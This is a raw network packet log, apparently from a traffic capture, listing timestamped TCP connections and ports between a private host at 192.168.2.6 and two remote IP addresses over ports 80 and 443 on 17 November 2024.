Nov 17, 2024 01:38:49.473714113 CET	443	56760	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.473766088 CET	443	56760	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.473804951 CET	56760	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.473849058 CET	56760	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.473891973 CET	56760	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.473905087 CET	443	56760	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.473933935 CET	56760	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.473938942 CET	443	56760	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.476218939 CET	56775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.476234913 CET	443	56775	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.476303101 CET	56775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.476448059 CET	56775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.476458073 CET	443	56775	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.483305931 CET	443	56765	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.483717918 CET	56765	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.483803988 CET	443	56765	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.484289885 CET	56765	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.484306097 CET	443	56765	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.490160942 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.490202904 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.490211964 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.490231991 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.490235090 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.490235090 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.490245104 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.490257025 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.490266085 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.490283012 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.490312099 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.507997990 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.508058071 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.508778095 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.508830070 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.515553951 CET	443	56761	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.515641928 CET	443	56761	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.515702963 CET	56761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.515872002 CET	56761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.515882015 CET	443	56761	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.515892029 CET	56761	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.515896082 CET	443	56761	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.520567894 CET	443	56762	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.520600080 CET	443	56762	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.520651102 CET	443	56762	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.520649910 CET	56762	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.520697117 CET	56762	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.524456024 CET	56762	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.524470091 CET	443	56762	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.524482965 CET	56762	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.524487019 CET	443	56762	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.526633024 CET	56776	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.526669979 CET	443	56776	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.527023077 CET	56776	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.527473927 CET	56777	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.527501106 CET	443	56777	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.527594090 CET	56777	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.527652025 CET	56776	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.527676105 CET	443	56776	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.527859926 CET	56777	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.527878046 CET	443	56777	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.537601948 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.537615061 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.537626982 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.537646055 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.537658930 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.537668943 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.537693977 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.537731886 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.537766933 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.537791014 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.537803888 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.537816048 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.537832022 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.537858963 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.538029909 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.538039923 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.538094044 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.538105965 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.538116932 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.538141012 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.538186073 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.538286924 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.538300037 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.538311958 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.538335085 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.538364887 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.538372993 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.538384914 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.538398027 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.538425922 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.538455009 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.538774967 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.538836002 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.538846970 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.538865089 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.538877964 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.538889885 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.538902998 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.538903952 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.538902998 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.538937092 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.538964987 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.539153099 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.539194107 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.539206982 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.539216042 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.539251089 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.539253950 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.539264917 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.539340019 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.605581999 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.605591059 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.605601072 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.605664015 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.605664015 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.605675936 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.605688095 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.605698109 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.605707884 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.605729103 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.615185976 CET	443	56765	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.615366936 CET	443	56765	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.615525961 CET	56765	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.615619898 CET	56765	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.615619898 CET	56765	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.615670919 CET	443	56765	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.615700006 CET	443	56765	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.619033098 CET	56778	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.619076014 CET	443	56778	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.619165897 CET	56778	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.619343996 CET	56778	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.619358063 CET	443	56778	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.652848959 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.652858019 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.652868032 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.652913094 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.652924061 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.652921915 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.652934074 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.652986050 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.652986050 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.653068066 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.653109074 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.653152943 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.653162003 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.653202057 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.653206110 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.653217077 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.653225899 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.653247118 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.653279066 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.653381109 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.653431892 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.653465986 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.653476000 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.653486013 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.653496027 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.653516054 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.653542042 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.653728962 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.653739929 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.653749943 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.653780937 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.653815031 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.653856993 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.653909922 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.653919935 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.653963089 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.654057026 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.654067039 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.654077053 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.654102087 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.654114008 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.654125929 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.654135942 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.654148102 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.654154062 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.654160023 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.654167891 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.654185057 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.654211998 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.654546976 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.654561996 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.654572010 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.654582977 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.654596090 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.654603958 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.654638052 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.654638052 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.654855967 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.654913902 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.655194044 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.655375957 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.700491905 CET	443	56766	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.700716972 CET	56766	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.700737953 CET	443	56766	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.701073885 CET	443	56766	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.701345921 CET	56766	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.701406002 CET	443	56766	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.701497078 CET	56766	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.720881939 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.720892906 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.720905066 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.720921040 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.720930099 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.720938921 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.720998049 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.721035004 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.721075058 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.721123934 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.721134901 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.721182108 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.743333101 CET	443	56766	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.768074036 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.768129110 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.768137932 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.768153906 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.768172026 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.768177986 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.768183947 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.768212080 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.768234968 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.768349886 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.768364906 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.768377066 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.768388987 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.768399954 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.768402100 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.768433094 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.768464088 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.768614054 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.768624067 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.768634081 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.768656015 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.768698931 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.768753052 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.768763065 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.768779993 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.768789053 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.768790007 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.768801928 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.768815994 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.768855095 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.769051075 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.769079924 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.769090891 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.769094944 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.769155025 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.769176960 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.769236088 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.769247055 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.769283056 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.769298077 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.769308090 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.769318104 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.769341946 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.769366026 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.769644022 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.769654036 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.769665003 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.769675016 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.769695044 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.769723892 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.769818068 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.769828081 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.769840956 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.769874096 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.769967079 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.769983053 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.769992113 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.770003080 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.770023108 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.770046949 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.831685066 CET	443	56766	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.831712961 CET	443	56766	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.831765890 CET	56766	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.831793070 CET	443	56766	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.831909895 CET	443	56766	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.831964016 CET	56766	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.832678080 CET	56766	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.832691908 CET	443	56766	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.832700014 CET	56766	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.832751036 CET	56766	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.833096981 CET	56779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.833133936 CET	443	56779	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.833395004 CET	56779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.833700895 CET	56779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:49.833714008 CET	443	56779	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:49.836194992 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.836234093 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.836242914 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.836256027 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.836273909 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.836278915 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.836286068 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.836297035 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.836313963 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.836338997 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.836402893 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.836448908 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.836550951 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.836725950 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.883451939 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.883464098 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.883474112 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.883486032 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.883497000 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.883514881 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.883567095 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.883583069 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.883610964 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.883621931 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.883641958 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.883644104 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.883654118 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.883661032 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.883690119 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.883778095 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.883795977 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.883806944 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.883835077 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.883842945 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.883853912 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.883867979 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.883893013 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.884347916 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.884361029 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.884371042 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.884397984 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.884397984 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.884408951 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.884418964 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.884428978 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.884429932 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.884439945 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.884464025 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.884623051 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.884634018 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.884644032 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:49.884665966 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:49.884674072 CET	80	49911	185.215.113.206	192.168.2.6
